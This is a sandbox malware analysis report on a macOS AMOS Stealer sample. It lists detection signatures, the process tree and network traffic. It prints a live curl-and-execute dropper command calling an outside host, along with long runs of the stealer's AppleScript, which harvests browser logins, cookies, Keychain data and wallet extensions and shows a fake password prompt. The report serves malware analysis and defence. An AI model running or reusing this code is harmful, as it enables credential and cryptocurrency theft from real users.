Edit tour

macOS Analysis Report

Overview

General Information

Analysis ID:	1594700
Infos:

Detection

AMOS Stealer

Score:	60
Range:	0 - 100
Whitelisted:	false

Signatures

Detected AMOS Stealer

Executes Apple scripts with very long statement arguments

Executes the "csrutil" command used to retrieve or modify the "System Integrity Protection" configuration

Executes the "dscl" command with authonly argument (probably to verify the login password)

Executes Apple scripts and/or other OSA language scripts with shell command 'osascript'

Executes commands using a shell command-line interpreter

Executes the "chmod" command used to modify permissions

Executes the "curl" command used to transfer data via the network (typically using HTTP/S)

Executes the "kill" or "pkill" command typically used to terminate processes

Executes the "mkdir" command used to create folders

Executes the "system_profiler" command used to collect detailed system hardware and software information

Reads file resource fork extended attributes

Reads hardware related sysctl values

Reads the sysctl hardware model value (potentially used for VM-detection)

Reads the sysctl safe boot value (probably to check if the system is in safe boot mode)

Reads the systems OS release and/or type

Reads the systems hostname

Uses AppleScript framework/components containing Apple Script related functionalities

Uses AppleScript scripting additions containing additional functionalities for Apple Scripts

Writes FAT Mach-O files to disk

Writes Mach-O files to the tmp directory

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1594700
Start date and time:	2025-01-19 20:30:45 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultmaccmdlinecookbook.jbs
Analysis system description:	Virtual Machine, Mojave (Office 16 16.27, Java 11.0.2+9, Adobe Reader 2019.010.20099)
macOS major version:	10.14
CPU architecture:	x86_64
Analysis Mode:	default
Detection:	MAL
Classification:	mal60.spyw.evad.mac@0/4@2/0

Warnings

Excluded IPs from analysis (whitelisted): 17.253.119.202, 17.253.119.201, 23.222.201.219, 17.253.21.204, 17.253.21.205, 17.36.200.79, 23.220.136.24
Excluded domains from analysis (whitelisted): mesu-cdn.apple.com.akadns.net, e11408.d.akamaiedge.net, lcdn-locator-usuqo.apple.com.akadns.net, updates.cdn-apple.com.akadns.net, gateway.icloud.com, e673.dsce9.akamaiedge.net, help-ar.apple.com.edgekey.net, crl.apple.com, lb._dns-sd._udp.0.11.168.192.in-addr.arpa, mesu-cdn.origin-apple.com.akadns.net, lcdn-locator.apple.com.akadns.net, help.origin-apple.com.akadns.net, lcdn-locator.apple.com, mesu.g.aaplimg.com, updates.g.aaplimg.com, itunes.apple.com.edgekey.net, help.apple.com, mesu.apple.com, init.itunes.apple.com, updates.cdn-apple.com, init-cdn.itunes-apple.com.akadns.net
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: norikosumiya.com

Runtime Messages

Command:	/bin/sh -c "curl -o /tmp/update https:/norikosumiya.com/brew/update && xattr -c /tmp/update && chmod +x /tmp/update && /tmp/update"
PID:	615
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:	% Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 0 229k 0 0 0 0 0 0 --:--:-- 0:00:01 --:--:-- 0 87 229k 87 199k 0 0 94252 0 0:00:02 0:00:02 --:--:-- 94221 100 229k 100 229k 0 0 105k 0 0:00:02 0:00:02 --:--:-- 105k sh: line 0: disown: current: no such job

Process Tree

System is macvm-mojave

xpcproxy New Fork (PID: 610, Parent: 1)

nsurlstoraged (MD5: 321b0a40e24b45f0af49ba42742b3f64) Arguments: /usr/libexec/nsurlstoraged --privileged

mono-sgen32 New Fork (PID: 615, Parent: 537)

sh (MD5: be55e8952a262d0e524239dbf82191ed) Arguments: /bin/sh -c curl -o /tmp/update https://norikosumiya.com/brew/update && xattr -c /tmp/update && chmod +x /tmp/update && /tmp/update

sh New Fork (PID: 616, Parent: 615)

curl (MD5: 2418204e23e2952e7995f1819a1f78f5) Arguments: curl -o /tmp/update https://norikosumiya.com/brew/update

sh New Fork (PID: 618, Parent: 615)

xattr (MD5: e2ca6555fe4b8c6a97d1ced2156c9b69) Arguments: xattr -c /tmp/update

Python (MD5: 710c6cc30780eea712240851b44d9eab) Arguments: /usr/bin/python /usr/bin/xattr-2.7 -c /tmp/update

sh New Fork (PID: 619, Parent: 615)

chmod (MD5: 917cfbf6084318922f8091f050a0bbed) Arguments: chmod +x /tmp/update

sh New Fork (PID: 620, Parent: 615)

update (MD5: 0418181caaba4686fae772b60d9a2c62) Arguments: /tmp/update

sh New Fork (PID: 621, Parent: 620)

sh New Fork (PID: 622, Parent: 621)

pkill (MD5: ad01660bd9fdfcf9c67a4879e06d0aa3) Arguments: pkill Terminal

sh New Fork (PID: 623, Parent: 620)

sh New Fork (PID: 624, Parent: 623)

osascript (MD5: f13b7c85f3c1c08fae3b709a536281a1) Arguments: osascript -e set release to trueset filegrabbers to trueon filesizer(paths)set fsz to 0tryset theItem to quoted form of POSIX path of pathsset fsz to (do shell script '/usr/bin/mdls -name kMDItemFSSize -raw ' & theItem)end tryreturn fszend filesizeron mkdir(someItem)tryset filePosixPath to quoted form of (POSIX path of someItem)do shell script 'mkdir -p ' & filePosixPathend tryend mkdiron FileName(filePath)tryset reversedPath to (reverse of every character of filePath) as stringset trimmedPath to text 1 thru ((offset of '/' in reversedPath) - 1) of reversedPathset finalPath to (reverse of every character of trimmedPath) as stringreturn finalPathend tryend FileNameon BeforeFileName(filePath)tryset lastSlash to offset of '/' in (reverse of every character of filePath) as stringset trimmedPath to text 1 thru -(lastSlash + 1) of filePathreturn trimmedPathend tryend BeforeFileNameon writeText(textToWrite, filePath)tryset folderPath to BeforeFileName(filePath)mkdir(folderPath)set fileRef to (open for access filePath with write permission)write textToWrite to fileRef starting at eofclose access fileRefend tryend writeTexton readwrite(path_to_file, path_as_save)tryset fileContent to read path_to_fileset folderPath to BeforeFileName(path_as_save)mkdir(folderPath)do shell script 'cat ' & quoted form of path_to_file & ' > ' & quoted form of path_as_saveend tryend readwriteon readwrite2(path_to_file, path_as_save)tryset folderPath to do shell script 'dirname ' & quoted form of path_as_savemkdir(folderPath)tell application 'Finder' set sourceFile to POSIX file path_to_file as alias set destinationFolder to POSIX file folderPath as alias duplicate sourceFile to destinationFolder with replacingend tellend tryend readwrite2on isDirectory(someItem)tryset filePosixPath to quoted form of (POSIX path of someItem)set fileType to (do shell script 'file -b ' & filePosixPath)if fileType ends with 'directory' thenreturn trueend ifreturn falseend tryend isDirectoryon GrabFolderLimit(sourceFolder, destinationFolder)tryset bankSize to 0set exceptionsList to {'.DS_Store', 'Partitions', 'Code Cache', 'Cache', 'market-history-cache.json', 'journals', 'Previews'}set fileList to list folder sourceFolder without invisiblesmkdir(destinationFolder)repeat with currentItem in fileListif currentItem is not in exceptionsList thenset itemPath to sourceFolder & '/' & currentItemset savePath to destinationFolder & '/' & currentItemif isDirectory(itemPath) thenGrabFolderLimit(itemPath, savePath)elseset fsz to filesizer(itemPath)set bankSize to bankSize + fszif bankSize < 10 * 1024 * 1024 thenreadwrite(itemPath, savePath)end ifend ifend ifend repeatend tryend GrabFolderLimiton GrabFolder(sourceFolder, destinationFolder)tryset exceptionsList to {'.DS_Store', 'Partitions', 'Code Cache', 'Cache', 'market-history-cache.json', 'journals', 'Previews', 'dumps', 'emoji', 'user_data', '__update__', 'user_data#2', 'user_data#3'}set fileList to list folder sourceFolder without invisiblesmkdir(destinationFolder)repeat with currentItem in fileListif currentItem is not in exceptionsList thenset itemPath to sourceFolder & '/' & currentItemset savePath to destinationFolder & '/' & currentItemif isDirectory(itemPath) thenGrabFolder(itemPath, savePath)elsereadwrite(itemPath, savePath)end ifend ifend repeatend tryend GrabFolderon parseFF(firefox, writemind)tryset myFiles to {'/cookies.sqlite', '/formhistory.sqlite', '/key4.db', '/logins.json'}set fileList to list folder firefox without invisiblesrepeat with currentItem in fileListset fpath to writemind & 'ff/' & currentItemset readpath to firefox & currentItemrepeat with FFile in myFilesreadwrite(readpath & FFile, fpath & FFile)end repeatend repeatend tryend parseFFon checkvalid(username, password_entered)tryset result to do shell script 'dscl . authonly ' & quoted form of username & space & quoted form of password_enteredif result is not equal to '' thenreturn falseelsereturn trueend ifon errorreturn falseend tryend checkvalidon getpwd(username, writemind)tryif checkvalid(username, '') thenset result to do shell script 'security 2>&1 > /dev/null find-generic-password -ga \'Chrome\' | awk \'{print $2}\''writeText(result as string, writemind & 'masterpass-chrome')elserepeatset result to display dialog 'Required Application Helper.\nPlease enter password for continue.' default answer '' with icon caution buttons {'Continue'} default button 'Continue' giving up after 150 with title 'System Preferences' with hidden answerset password_entered to text returned of resultif checkvalid(username, password_entered) thenwriteText(password_entered, writemind & 'pwd')return password_enteredend ifend repeatend ifend tryreturn ''end getpwdon grabPlugins(paths, savePath, pluginList, index)tryset fileList to list folder paths without invisiblesrepeat with PFile in fileListrepeat with Plugin in pluginListif (PFile contains Plugin) thenset newpath to paths & PFileset newsavepath to savePath & '/' & Pluginif index thenset newsavepath to newsavepath & '/IndexedDB/'end ifGrabFolder(newpath, newsavepath)end ifend repeatend repeatend tryend grabPluginson chromium(writemind, chromium_map)set pluginList to {'keenhcnmdmjjhincpilijphpiohdppno', 'hbbgbephgojikajhfbomhlmmollphcad', 'cjmkndjhnagcfbpiemnkdpomccnjblmj', 'dhgnlgphgchebgoemcjekedjjbifijid', 'hifafgmccdpekplomjjkcfgodnhcellj', 'kamfleanhcmjelnhaeljonilnmjpkcjc', 'jnldfbidonfeldmalbflbmlebbipcnle', 'fdcnegogpncmfejlfnffnofpngdiejii', 'klnaejjgbibmhlephnhpmaofohgkpgkd', 'pdadjkfkgcafgbceimcpbkalnfnepbnk', 'kjjebdkfeagdoogagbhepmbimaphnfln', 'ldinpeekobnhjjdofggfgjlcehhmanlj', 'dkdedlpgdmmkkfjabffeganieamfklkm', 'bcopgchhojmggmffilplmbdicgaihlkp', 'kpfchfdkjhcoekhdldggegebfakaaiog', 'idnnbdplmphpflfnlkomgpfbpcgelopg', 'mlhakagmgkmonhdonhkpjeebfphligng', 'bipdhagncpgaccgdbddmbpcabgjikfkn', 'gcbjmdjijjpffkpbgdkaojpmaninaion', 'nhnkbkgjikgcigadomkphalanndcapjk', 'bhhhlbepdkbapadjdnnojkbgioiodbic', 'hoighigmnhgkkdaenafgnefkcmipfjon', 'klghhnkeealcohjjanjjdaeeggmfmlpl', 'nkbihfbeogaeaoehlefnkodbefgpgknn', 'fhbohimaelbohpjbbldcngcnapndodjp', 'ebfidpplhabeedpnhjnobghokpiioolj', 'emeeapjkbcbpbpgaagfchmcgglmebnen', 'fldfpgipfncgndfolcbkdeeknbbbnhcc', 'penjlddjkjgpnkllboccdgccekpkcbin', 'fhilaheimglignddkjgofkcbgekhenbh', 'hmeobnfnfcmdkdcmlblgagmfpfboieaf', 'cihmoadaighcejopammfbmddcmdekcje', 'lodccjjbdhfakaekdiahmedfbieldgik', 'omaabbefbmiijedngplfjmnooppbclkk', 'cjelfplplebdjjenllpjcblmjkfcffne', 'jnlgamecbpmbajjfhmmmlhejkemejdma', 'fpkhgmpbidmiogeglndfbkegfdlnajnf', 'bifidjkcdpgfnlbcjpdkdcnbiooooblg', 'amkmjjmmflddogmhpjloimipbofnfjih', 'flpiciilemghbmfalicajoolhkkenfel', 'hcflpincpppdclinealmandijcmnkbgn', 'aeachknmefphepccionboohckonoeemg', 'nlobpakggmbcgdbpjpnagmdbdhdhgphk', 'momakdpclmaphlamgjcndbgfckjfpemp', 'mnfifefkajgofkcjkemidiaecocnkjeh', 'fnnegphlobjdpkhecapkijjdkgcjhkib', 'ehjiblpccbknkgimiflboggcffmpphhp', 'ilhaljfiglknggcoegeknjghdgampffk', 'pgiaagfkgcbnmiiolekcfmljdagdhlcm', 'fnjhmkhhmkbjkkabndcnnogagogbneec', 'bfnaelmomeimhlpmgjnjophhpkkoljpa', 'imlcamfeniaidioeflifonfjeeppblda', 'mdjmfdffdcmnoblignmgpommbefadffd', 'ooiepdgjjnhcmlaobfinbomgebfgablh', 'pcndjhkinnkaohffealmlmhaepkpmgkb', 'ppdadbejkmjnefldpcdjhnkpbjkikoip', 'cgeeodpfagjceefieflmdfphplkenlfk', 'dlcobpjiigpikoobohmabehhmhfoodbb', 'jiidiaalihmmhddjgbnbgdfflelocpak', 'bocpokimicclpaiekenaeelehdjllofo', 'pocmplpaccanhmnllbbkpgfliimjljgo', 'cphhlgmgameodnhkjdmkpanlelnlohao', 'mcohilncbfahbmgdjkbpemcciiolgcge', 'bopcbmipnjdcdfflfgjdgdjejmgpoaab', 'khpkpbbcccdmmclmpigdgddabeilkdpd', 'ejjladinnckdgjemekebdpeokbikhfci', 'phkbamefinggmakgklpkljjmgibohnba', 'epapihdplajcdnnkdeiahlgigofloibg', 'hpclkefagolihohboafpheddmmgdffjm', 'cjookpbkjnpkmknedggeecikaponcalb', 'cpmkedoipcpimgecpmgpldfpohjplkpp', 'modjfdjcodmehnpccdjngmdfajggaoeh', 'ibnejdfjmmkpcnlpebklmnkoeoihofec', 'afbcbjpbpfadlkmhmclhkeeodmamcflc', 'kncchdigobghenbbaddojjnnaogfppfj', 'efbglgofoippbgcjepnhiblaibcnclgk', 'mcbigmjiafegjnnogedioegffbooigli', 'fccgmnglbhajioalokbcidhcaikhlcpm', 'hnhobjmcibchnmglfbldbfabcgaknlkj', 'apnehcjmnengpnmccpaibjmhhoadaico', 'enabgbdfcbaehmbigakijjabdpdnimlg', 'mgffkfbidihjpoaomajlbgchddlicgpn', 'fopmedgnkfpebgllppeddmmochcookhc', 'jojhfeoedkpkglbfimdfabpdfjaoolaf', 'ammjlinfekkoockogfhdkgcohjlbhmff', 'abkahkcbhngaebpcgfmhkoioedceoigp', 'dcbjpgbkjoomeenajdabiicabjljlnfp', 'gkeelndblnomfmjnophbhfhcjbcnemka', 'pnndplcbkakcplkjnolgbkdgjikjednm', 'copjnifcecdedocejpaapepagaodgpbh', 'hgbeiipamcgbdjhfflifkgehomnmglgk', 'mkchoaaiifodcflmbaphdgeidocajadp', 'ellkdbaphhldpeajbepobaecooaoafpg', 'mdnaglckomeedfbogeajfajofmfgpoae', 'nknhiehlklippafakaeklbeglecifhad', 'ckklhkaabbmdjkahiaaplikpdddkenic', 'fmblappgoiilbgafhjklehhfifbdocee', 'nphplpgoakhhjchkkhmiggakijnkhfnd', 'cnmamaachppnkjgnildpdmkaakejnhae', 'fijngjgcjhjmmpcmkeiomlglpeiijkld', 'niiaamnmgebpeejeemoifgdndgeaekhe', 'odpnjmimokcmjgojhnhfcnalnegdjmdn', 'lbjapbcmmceacocpimbpbidpgmlmoaao', 'hnfanknocfeofbddgcijnmhnfnkdnaad', 'hpglfhgfnhbgpjdenjgmdgoeiappafln', 'egjidjbpglichdcondbcbdnbeeppgdph', 'ibljocddagjghmlpgihahamcghfggcjc', 'gkodhkbmiflnmkipcmlhhgadebbeijhh', 'dbgnhckhnppddckangcjbkjnlddbjkna', 'mfhbebgoclkghebffdldpobeajmbecfk', 'nlbmnnijcnlegkjjpcfjclmcfggfefdm', 'nlgbhdfgdhgbiamfdfmbikcdghidoadd', 'acmacodkjbdgmoleebolmdjonilkdbch', 'agoakfejjabomempkjlepdflaleeobhb', 'dgiehkgfknklegdhekgeabnhgfjhbajd', 'onhogfjeacnfoofkfgppdlbmlmnplgbn', 'kkpehldckknjffeakihjajcjccmcjflh', 'jaooiolkmfcmloonphpiiogkfckgciom', 'ojggmchlghnjlapmfbnjholfjkiidbch', 'pmmnimefaichbcnbndcfpaagbepnjaig', 'oiohdnannmknmdlddkdejbmplhbdcbee', 'aiifbnbfobpmeekipheeijimdpnlpgpp', 'aholpfdialjgjfhomihkjbmgjidlcdno', 'anokgmphncpekkhclmingpimjmcooifb', 'kkpllkodjeloidieedojogacfhpaihoh', 'iokeahhehimjnekafflcihljlcjccdbe', 'ifckdpamphokdglkkdomedpdegcjhjdp', 'loinekcabhlmhjjbocijdoimmejangoa', 'fcfcfllfndlomdhbehjjcoimbgofdncg', 'ifclboecfhkjbpmhgehodcjpciihhmif', 'dmkamcknogkgcdfhhbddcghachkejeap', 'ookjlbkiijinhpmnjffcofjonbfbgaoc', 'oafedfoadhdjjcipmcbecikgokpaphjk', 'mapbhaebnddapnmifbbkgeedkeplgjmf', 'cmndjbe

osascript New Fork (PID: 625, Parent: 624)

sh (MD5: be55e8952a262d0e524239dbf82191ed) Arguments: sh -c echo $((RANDOM % 9000 + 1000))

osascript New Fork (PID: 626, Parent: 624)

sh (MD5: be55e8952a262d0e524239dbf82191ed) Arguments: sh -c system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType

system_profiler (MD5: 271feb2b4c0447da2b7ac523f13a4824) Arguments: system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType

system_profiler New Fork (PID: 627, Parent: 626)

csrutil New Fork (PID: 628, Parent: 627)

system_profiler New Fork (PID: 629, Parent: 626)

system_profiler New Fork (PID: 630, Parent: 626)

osascript New Fork (PID: 631, Parent: 624)

sh (MD5: be55e8952a262d0e524239dbf82191ed) Arguments: sh -c mkdir -p '/tmp/4302'

mkdir (MD5: bbbaafd2a4d7dcb9ddd178d814fea708) Arguments: mkdir -p /tmp/4302

osascript New Fork (PID: 632, Parent: 624)

sh (MD5: be55e8952a262d0e524239dbf82191ed) Arguments: sh -c dscl . authonly 'root' ''

dscl (MD5: 9a2337f2a5a6271e0187153296de3c9f) Arguments: dscl . authonly root

xpcproxy New Fork (PID: 634, Parent: 1)

dirhelper (MD5: 23edb05ab305e115e8874baa5b1e3004) Arguments: /usr/libexec/dirhelper

xpcproxy New Fork (PID: 653, Parent: 1)

eficheck (MD5: 328beb81a2263449258057506bb4987f) Arguments: /usr/libexec/firmwarecheckers/eficheck/eficheck --integrity-check-daemon

cleanup

Joe Sandbox Signatures

• Compliance
• Networking
• System Summary
• Persistence and Installation Behavior
• Hooking and other Techniques for Hiding and Protection
• Malware Analysis System Evasion
• HIPS / PFW / Operating System Protection Evasion
• Language, Device and Operating System Detection
• Stealing of Sensitive Information

Click to jump to signature section

Show All Signature Results

Source: unknown	HTTPS traffic detected: 151.101.3.6:443 -> 192.168.11.12:49349 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 17.248.228.69:443 -> 192.168.11.12:49350 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 81.19.135.228:443 -> 192.168.11.12:49356 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.131.6:443 -> 192.168.11.12:49388 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.131.6:443 -> 192.168.11.12:49389 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.131.6:443 -> 192.168.11.12:49395 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.131.6:443 -> 192.168.11.12:49396 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.131.6:443 -> 192.168.11.12:49397 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.131.6:443 -> 192.168.11.12:49398 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.131.6:443 -> 192.168.11.12:49399 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.67.6:443 -> 192.168.11.12:49400 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.67.6:443 -> 192.168.11.12:49401 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.67.6:443 -> 192.168.11.12:49402 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.67.6:443 -> 192.168.11.12:49403 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 23.55.204.208
Source: unknown	TCP traffic detected without corresponding DNS query: 23.55.204.208
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /brew/update HTTP/1.1Host: norikosumiya.comUser-Agent: curl/7.54.0Accept: */*

Source: global traffic	DNS traffic detected: DNS query: norikosumiya.com
Source: global traffic	DNS traffic detected: DNS query: h3.apis.apple.map.fastly.net

Source: /usr/bin/curl (PID: 616)

Reads from socket in process: data

Jump to behavior

Source: update, 00000620.00000260.9.000000010527f000.00000001052a8000.r--.sdmp	String found in binary or memory: http://crl.apple.com/codesigning.crl0
Source: update, 00000620.00000260.9.000000010527f000.00000001052a8000.r--.sdmp, update, 00000620.00000260.1.0000000101bc7000.0000000101bcd000.r--.sdmp, update.251.dr	String found in binary or memory: http://www.apple.com/DTDs/PropertyList-1.0.dtd
Source: update, 00000620.00000260.9.000000010527f000.00000001052a8000.r--.sdmp	String found in binary or memory: http://www.apple.com/appleca/root.crl0
Source: update, 00000620.00000260.9.000000010527f000.00000001052a8000.r--.sdmp	String found in binary or memory: http://www.apple.com/certificateauthority0
Source: update, 00000620.00000260.9.000000010527f000.00000001052a8000.r--.sdmp	String found in binary or memory: https://www.apple.com/appleca/0

Source: unknown	Network traffic detected: HTTP traffic on port 49399 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49403
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49402
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49401
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49389
Source: unknown	Network traffic detected: HTTP traffic on port 49397 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49400
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49388
Source: unknown	Network traffic detected: HTTP traffic on port 49395 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49388 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49401 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49403 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49398 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49350 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49356
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49399
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49398
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49397
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49396
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49395
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49350
Source: unknown	Network traffic detected: HTTP traffic on port 49396 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49356 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49389 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49400 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49402 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49349 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49349

Source: /usr/bin/curl (PID: 616)

Writes from socket in process: data

Jump to behavior

Source: unknown	HTTPS traffic detected: 151.101.3.6:443 -> 192.168.11.12:49349 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 17.248.228.69:443 -> 192.168.11.12:49350 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 81.19.135.228:443 -> 192.168.11.12:49356 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.131.6:443 -> 192.168.11.12:49388 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.131.6:443 -> 192.168.11.12:49389 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.131.6:443 -> 192.168.11.12:49395 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.131.6:443 -> 192.168.11.12:49396 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.131.6:443 -> 192.168.11.12:49397 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.131.6:443 -> 192.168.11.12:49398 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.131.6:443 -> 192.168.11.12:49399 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.67.6:443 -> 192.168.11.12:49400 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.67.6:443 -> 192.168.11.12:49401 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.67.6:443 -> 192.168.11.12:49402 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.67.6:443 -> 192.168.11.12:49403 version: TLS 1.2

Source: classification engine

Classification label: mal60.spyw.evad.mac@0/4@2/0

Persistence and Installation Behavior

Executes Apple scripts with very long statement arguments

Source: /bin/sh (PID: 624)

Osascript command executed: osascript -e set release to trueset filegrabbers to trueon filesizer(paths)set fsz to 0tryset theItem to quoted form of POSIX path of pathsset fsz to (do shell script '/usr/bin/mdls -name kMDItemFSSize -raw ' & theItem)end tryreturn fszend filesizeron mkdir(someItem)tryset filePosixPath to quoted form of (POSIX path of someItem)do shell script 'mkdir -p ' & filePosixPathend tryend mkdiron FileName(filePath)tryset reversedPath to (reverse of every character of filePath) as stringset trimmedPath to text 1 thru ((offset of '/' in reversedPath) - 1) of reversedPathset finalPath to (reverse of every character of trimmedPath) as stringreturn finalPathend tryend FileNameon BeforeFileName(filePath)tryset lastSlash to offset of '/' in (reverse of every character of filePath) as stringset trimmedPath to text 1 thru -(lastSlash + 1) of filePathreturn trimmedPathend tryend BeforeFileNameon writeText(textToWrite, filePath)tryset folderPath to BeforeFileName(filePath)mkdir(folderPath)set fileRef to (open for access filePath with write permission)write textToWrite to fileRef starting at eofclose access fileRefend tryend writeTexton readwrite(path_to_file, path_as_save)tryset fileContent to read path_to_fileset folderPath to BeforeFileName(path_as_save)mkdir(folderPath)do shell script 'cat ' & quoted form of path_to_file & ' > ' & quoted form of path_as_saveend tryend readwriteon readwrite2(path_to_file, path_as_save)tryset folderPath to do shell script 'dirname ' & quoted form of path_as_savemkdir(folderPath)tell application 'Finder' set sourceFile to POSIX file path_to_file as alias set destinationFolder to POSIX file folderPath as alias duplicate sourceFile to destinationFolder with replacingend tellend tryend readwrite2on isDirectory(someItem)tryset filePosixPath to quoted form of (POSIX path of someItem)set fileType to (do shell script 'file -b ' & filePosixPath)if fileType ends with 'directory' thenreturn trueend ifreturn falseend tryend isDirectoryon GrabFolderLimit(sourceFolder, destinationFolder)tryset bankSize to 0set exceptionsList to {'.DS_Store', 'Partitions', 'Code Cache', 'Cache', 'market-history-cache.json', 'journals', 'Previews'}set fileList to list folder sourceFolder without invisiblesmkdir(destinationFolder)repeat with currentItem in fileListif currentItem is not in exceptionsList thenset itemPath to sourceFolder & '/' & currentItemset savePath to destinationFolder & '/' & currentItemif isDirectory(itemPath) thenGrabFolderLimit(itemPath, savePath)elseset fsz to filesizer(itemPath)set bankSize to bankSize + fszif bankSize < 10 * 1024 * 1024 thenreadwrite(itemPath, savePath)end ifend ifend ifend repeatend tryend GrabFolderLimiton GrabFolder(sourceFolder, destinationFolder)tryset exceptions

Jump to behavior

Source: /bin/sh (PID: 624)

Jump to behavior

Source: /Library/Frameworks/Mono.framework/Versions/4.4.2/bin/mono-sgen32 (PID: 615)	Shell command executed: /bin/sh -c curl -o /tmp/update https://norikosumiya.com/brew/update && xattr -c /tmp/update && chmod +x /tmp/update && /tmp/update	Jump to behavior
Source: /tmp/update (PID: 620)	Shell command executed: sh -c disown pkill Terminal	Jump to behavior
Source: /tmp/update (PID: 620)	Shell command executed: sh -c osascript -e 'set release to trueset filegrabbers to trueon filesizer(paths)set fsz to 0tryset theItem to quoted form of POSIX path of pathsset fsz to (do shell script '/usr/bin/mdls -name kMDItemFSSize -raw ' & theItem)end tryreturn fszend filesizeron mkdir(someItem)tryset filePosixPath to quoted form of (POSIX path of someItem)do shell script 'mkdir -p ' & filePosixPathend tryend mkdiron FileName(filePath)tryset reversedPath to (reverse of every character of filePath) as stringset trimmedPath to text 1 thru ((offset of '/' in reversedPath) - 1) of reversedPathset finalPath to (reverse of every character of trimmedPath) as stringreturn finalPathend tryend FileNameon BeforeFileName(filePath)tryset lastSlash to offset of '/' in (reverse of every character of filePath) as stringset trimmedPath to text 1 thru -(lastSlash + 1) of filePathreturn trimmedPathend tryend BeforeFileNameon writeText(textToWrite, filePath)tryset folderPath to BeforeFileName(filePath)mkdir(folderPath)set fileRef to (open for access filePath with write permission)write textToWrite to fileRef starting at eofclose access fileRefend tryend writeTexton readwrite(path_to_file, path_as_save)tryset fileContent to read path_to_fileset folderPath to BeforeFileName(path_as_save)mkdir(folderPath)do shell script 'cat ' & quoted form of path_to_file & ' > ' & quoted form of path_as_saveend tryend readwriteon readwrite2(path_to_file, path_as_save)tryset folderPath to do shell script 'dirname ' & quoted form of path_as_savemkdir(folderPath)tell application 'Finder' set sourceFile to POSIX file path_to_file as alias set destinationFolder to POSIX file folderPath as alias duplicate sourceFile to destinationFolder with replacingend tellend tryend readwrite2on isDirectory(someItem)tryset filePosixPath to quoted form of (POSIX path of someItem)set fileType to (do shell script 'file -b ' & filePosixPath)if fileType ends with 'directory' thenreturn trueend ifreturn falseend tryend isDirectoryon GrabFolderLimit(sourceFolder, destinationFolder)tryset bankSize to 0set exceptionsList to {'.DS_Store', 'Partitions', 'Code Cache', 'Cache', 'market-history-cache.json', 'journals', 'Previews'}set fileList to list folder sourceFolder without invisiblesmkdir(destinationFolder)repeat with currentItem in fileListif currentItem is not in exceptionsList thenset itemPath to sourceFolder & '/' & currentItemset savePath to destinationFolder & '/' & currentItemif isDirectory(itemPath) thenGrabFolderLimit(itemPath, savePath)elseset fsz to filesizer(itemPath)set bankSize to bankSize + fszif bankSize < 10 * 1024 * 1024 thenreadwrite(itemPath, savePath)end ifend ifend ifend repeatend tryend GrabFolderLimiton GrabFolder(sourceFolder, destinationFolder)tryset exc	Jump to behavior
